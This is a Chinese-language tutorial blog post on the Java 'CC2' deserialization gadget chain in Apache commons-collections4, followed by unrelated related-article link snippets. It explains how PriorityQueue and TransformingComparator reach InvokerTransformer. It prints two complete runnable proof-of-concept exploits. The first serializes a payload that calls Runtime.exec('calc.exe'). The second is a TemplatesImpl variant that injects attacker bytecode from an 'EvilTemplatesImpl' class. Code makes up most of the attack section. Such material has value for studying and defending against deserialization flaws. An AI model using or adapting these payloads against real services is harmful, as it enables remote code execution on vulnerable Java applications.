Java安全之CC2
前言
由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?
commons-collections4的改动
因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies
因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变 了,是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate这个⽅法没了:

看下decorate的定义,⾮常简单:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}
所以,我们将Gadget中出错的代码换⼀下名字:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用
commons-collections之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。
CC2
其中两个关键类:
- java.util.PriorityQueue -
- org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类:

org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以CC2实际就是⼀条从 PriorityQueue到TransformingComparator的利⽤链
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html
开始编写POC,⾸先,还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(transformers);
再创建⼀个TransformingComparator,传⼊我们的Transformer
Comparator comparator = new TransformingComparator(chain)
实例化PriorityQueue对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,
setFieldValue(transformerChain, "iTransformers", transformers)
完整poc如下
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(chain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

CC2改进
前边说过了利⽤TemplatesImpl可以构造出⽆Transformer数组的利⽤链,可以将CC2这条链也进行改造。
public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Java安全之CC2的更多相关文章
- Spark案例分析
一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ...
- java web学习总结(二十六) -------------------JSP属性范围
所谓的属性范围就是一个属性设置之后,可以经过多少个其他页面后仍然可以访问的保存范围. 一.JSP属性范围 JSP中提供了四种属性范围,四种属性范围分别指以下四种: 当前页:一个属性只能在一个页面中取得 ...
- Java算法之递归打破及在真实项目中的使用实例
开心一笑 刚才领导问开发:"你觉得这个项目的最大风险是什么",开发说:"加班猝死" , 气氛尴尬了一分钟!!! 提出问题 1.递归算法简单复习 2.如何实现递归 ...
- java pdu短信解码
java pdu短信解码 长短信未验证 有兴趣的可以试试 根据python的方法改写的 /** * PDU短信解析 * * * @param pduPayload * @return */ publi ...
- Java学习之javassist
1.读取和输出字节码 ClassPool pool = ClassPool.getDefault(); //会从classpath中查询该类 CtClass cc = pool.get("t ...
- java泛型 之 入门(interface)
一:泛型简单介绍: (1)所谓泛型,就是变量类型的參数化. 泛型是JDK1.5中一个最重要的特征.通过引入泛型,我们将获得编译时类型的安全和执行时更小的抛出ClassCastException的可能. ...
- java中的反射整理
1,什么是反射 反射机制是java语言提供的一种基础功能,它能够赋予成语在运行时进行自省的能力.通过反射我们可以直接操作类或者对象,例如:可以通过反射去获取某个对象的类的定义,属性,方法,还可以修改类 ...
- Java【第八篇】面向对象之高级类特性
static 关键字 当我们编写一个类时,其实就是在描述其对象的属性和行为,而并没有产生实质上的对象,只有通过new关键字才会产生出对象,这时系统才会分配内存空间给对象,其方法才可以供外部调用.我们有 ...
- 第二章 Java 基本语法1
2.1关键字 1.定义:被Java语言赋予了特殊含义,用做专门用途的字符串(单词). 2.特点:关键字中所有字母都是小写字母. 3.分类: 用于定义数据类型的关键字:byte.short.int.lo ...
随机推荐
- 简单创建一个SpringCloud2021.0.3项目(一)
目录 1. 项目说明 1. 版本 2. 用到组件 3. 功能 2. 新建父模块和注册中心 1. 新建父模块 2. 新建注册中心Eureka 3. 新建配置中心Config 4. 新建两个业务服务 1. ...
- 第七十七篇:ref引用(在vue中引用组件实例)
好家伙, 为方便理解, 我们先来写一个经典自增一按钮, 再加上一个count清零按钮, Left.vue组件中: <template> <div > <h1>我是L ...
- 不当使用 union all 导致的SQL解析时间过长的问题优化
在帮助用户优化应用过程中,发现用户大量使用union all 导致SQL解析非常缓慢的问题.考虑到这个问题很有代表意义,我觉得很有必要对于问题进行总结. 一.用户例子 WITH company_use ...
- SpringBoot多重属性文件配置方案笔记
SpringBoot多重属性文件配置方案笔记 需要重写PropertyPlaceholderConfigurer 同时要忽略DataSourceAutoConfiguration @SpringBoo ...
- Hbase shell 操作记录
查看hbase版本 hbase(main):002:0> version 2.1.0-cdh6.2.0, rUnknown, Wed Mar 13 23:39:58 PDT 2019 Took ...
- Java 多线程:并发编程的三大特性
Java 多线程:并发编程的三大特性 作者:Grey 原文地址: 博客园:Java 多线程:并发编程的三大特性 CSDN:Java 多线程:并发编程的三大特性 可见性 所谓线程数据的可见性,指的就是内 ...
- 数论进阶 
数论进阶 扩展欧几里得算法 裴蜀定理(Bézout's identity) \(1\) :对于任意整数 \(a\),\(b\) ,存在一对整数 \(x\) ,\(y\) ,满足 \(ax+by=GCD ...
- 第六章:Django 综合篇 - 9:序列化 serializers
Django的序列化工具让你可以将Django的模型'翻译'成其它格式的数据.通常情况下,这种其它格式的数据是基于文本的,并且用于数据交换\传输过程. 一.序列化数据 Django为我们提供了一个强大 ...
- 记一个nginx server_name配置多个时的坑
文章转载自:https://blog.csdn.net/u011296355/article/details/106740860/ 背景 为了区分线上环境和测试环境,我弄了个自己测试专用的域名test ...
- PAT (Basic Level) Practice 1025 反转链表 分数 25
给定一个常数 K 以及一个单链表 L,请编写程序将 L 中每 K 个结点反转.例如:给定 L 为 1→2→3→4→5→6,K 为 3,则输出应该为 3→2→1→6→5→4:如果 K 为 4,则输出应该 ...